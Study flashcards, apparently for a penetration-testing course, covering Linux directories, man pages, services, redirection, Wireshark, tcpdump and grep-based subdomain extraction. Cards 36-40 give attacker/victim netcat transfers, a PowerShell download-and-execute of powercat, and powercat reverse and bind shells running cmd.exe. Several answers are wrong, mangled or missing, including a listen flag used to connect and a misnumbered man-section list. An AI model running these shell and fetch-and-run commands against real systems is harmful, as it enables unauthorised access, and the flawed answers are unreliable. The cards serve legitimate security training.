Introduction Flashcards

1
Q

What is the Linux directory for basic programs, and what are some example programs found there?

A
  • /bin

- ls, cd, cat

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

What is the Linux directory for system programs, and what are some example programs found there?

A
  • /sbin

- fdisk, mkfs, sysctl

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

What is the Linux directory for configuration files?

A

/etc

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

What is the Linux directory for applications, and what are some example programs found there?

A
  • /usr/bin

- apt, ncat, nmap

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

What is the Linux directory for application support and data files?

A

/usr/share

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

What are the 8 sections of ‘man’ pages?

A
  1. User commands
  2. Programming interfaces and kernel sys calls
  3. Programming interfaces to the C library
  4. Special files such as device nodes and drivers
  5. File formats
  6. Games and amusements such as screen-savers
    7, Misc
  7. System administration commands
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

How would you search the ‘man’ page for the ‘passwd’ command with a keyword search for ‘passwd’?

A

man -k passwd

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

What would be the regex command to search the ‘man’ page for ‘passwd’ command to match on the entire line and avoid sub-string matches?

A

man -k ‘^passwd$’

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

How would you search the File Formats section of the man page for the ‘passwd’ command?

A

man 5 passwd

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

What are the three commands to find files in Linux?

A
  • which
  • find
  • locate
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

What is the database used by the ‘locate’ command to search for files in Linux? How do you update this db?

A
  • locate.db

- sudo updatedb

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

How do you start SSH in Linux?

A

sudo systemctl start ssh

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

What does the ‘ss’ command do?

A
  • ‘ss’ = another utility to investigate sockets
  • used to dump socket statistics
  • allows showing information similar to netstat
  • it can display more TCP and state information than other tools
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

What does the command ‘ss -antlp’ do?

A
  • ‘a’ = all; displays both listening and non-listening sockets
  • ‘n’ = numeric; shows exact bandwidth values, not human-readable
  • ‘t’ = tcp sockets
  • ‘p’ = process; show process using the socket
  • ‘l’ = listening; display only listening sockets
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

What command would enable SSH to run at start?

A

sudo systemctl enable ssh

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

What command starts the Apache server?

A

sudo systemctl start apache2

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
17
Q

What command displays a list of all available services?

A

systemctl list-unit-files

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
18
Q

What command completely removes the package pure-ftpd from Linux?

A

sudo apt remove –purge pure-ftpd

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
19
Q

What is PATH?

A
  • a colon-separated list of directory paths that Bash will search through whenever a command is run without a full path
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
20
Q

How do you display the contents of the PATH environment variable?

A

echo $PATH

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
21
Q

How would you place the IP address 10.11.1.220 into an environment variable?

A

export b=10.11.1.220

22
Q

How do you display all current environment variables?

23
Q

How would you rerun a command that is labeled as 1239?

24
Q

How would you paste “Add this text” to the existing file text.txt?

A

echo “Add this text”&raquo_space; text.txt

25
How would you redirect the contents of the file 'test.txt' to count the number of words?
wc -w < test.txt
26
What is the file descriptor for STDIN?
0
27
What is the file descriptor for STDOUT?
1
28
What is the file descriptor for STDERR?
2
29
How would you redirect error messages from displaying when running a command?
2>/dev/null
30
How would you compare the differences between a.txt and b.txt with vim?
vimdiff a.txt b.txt
31
What command displays all processes with the full format listing?
ps -ef
32
How would you display the process for the program 'tmux'?
ps -fC tmux
33
What command allows you to monitor the log files for the Apache server?
sudo tail -f /var/log/apache2/access.log
34
What command would you use transfer a file https://www.offensive-security.com/reports/penetration-testing-sample-report-2013.pdf and rename the file report.pdf
axel -a -n 20 -o report.pdf https://www.offensive-security.com/reports/penetration-testing-sample-report-2013.pdf
35
How would you connect to a POP3 server at 10.11.0.22 using Netcat?
nc -nlvp 10.11.0.22 110
36
How would you transfer a file 'wget.exe' from the attacking machine, to a victim machine as a file named 'incoming.exe'?
(victim) nc -nlvp 4444 > incoming.exe | (attack) nc -nv 10.11.0.22 4444 < wget.exe
37
How would you download Powercat.ps1 onto a victim machine with PowerShell?
c:\> iex(New-Object System.Net.Webclient). DownloadString ('https://raw.githubusercontent.com/ besimorhino/powercat/master/powercat.ps1')
38
How would you transfer a file from a Windows (victim) machine to a Linux (attacking) machine?
1. kali:~$ sudo nc -nlvp 443 > receiving_powercat.ps1 | 2. C:\> powercat -c 10.11.0.4 -p 443 -i C:\Users\ Offsec\powercat.ps1
39
Powercat reverse shell?
(attacking) sudo nc -nlvp 443 | (victim) powercat -c 10.11.0.4 -p 443 -e cmd.exe
40
Powercat bind shell?
(victim) powercat -l -p 443 -e cmd.exe | (attacking) nc 10.11.0.22 443
41
What Wireshark filter allows you to only look at traffic on the 10.11.1.0/24 subnet?
net 10.11.1.0/24
42
What Wireshark filter allows you to only look at FTP traffic?
tcp.port == 21
43
How would you use Linux to view the contents of the pcap file password_cracking_filtered.pcap?
sudo tcpdump -r password_cracking_filtered.pcap
44
How would you use Linux to view the contents of the pcap file password_cracking_filtered.pcap, and filter on the source host 172.16.40.10?
sudo tcpdump -n src host 172.16.40.10 -r password_cracking_filtered.pcap
45
How would you download the index page of the website www.megacorpone.com
wget www.megacorpone.com
46
What command would you use to extract all lines that contain "href=" in the index.html file?
grep "href=" index.html
47
What command would you use to extract all lines that contain "href=" in the index.html file, and grab lines that only contain ".megacorpone", and strip away lines that contain "www.megacorpone.com"?
grep "href=" index.html | grep "\.megacorpone" | grep -v "www\.megacorpone\.com"
48
What command would you use to extract all lines that contain "href=" in the index.html file, and grab lines that only contain ".megacorpone", and strip away lines that contain "www.megacorpone.com", and print everything after "http://"?
grep "href=" index.html | grep "\.megacorpone" | grep -v "www\.megacorpone\.com" | awk -F "http://" '{print $2}'
49
What command would you use to extract all lines that contain "href=" in the index.html file, and grab lines that only contain ".megacorpone", and strip away lines that contain "www.megacorpone.com", and print everything after "http://" and before the first '/'?
grep "href=" index.html | grep "\.megacorpone" | grep -v "www\.megacorpone\.com" | awk -F "http://" '{print $2}' | cut -d '/' -f 1
50
Using regex, how would you carve out ".megacorpone.com" subdomains from the file index.html, and list only unique entries?
grep -o '[^/]*\.megacorpone\.com' index.html | sort -u
51
What is a bash one-liner that will take a list of URLs in a file named 'list.txt', and provide the corresponding IP address?
for url in $(cat list.txt); do host $url; done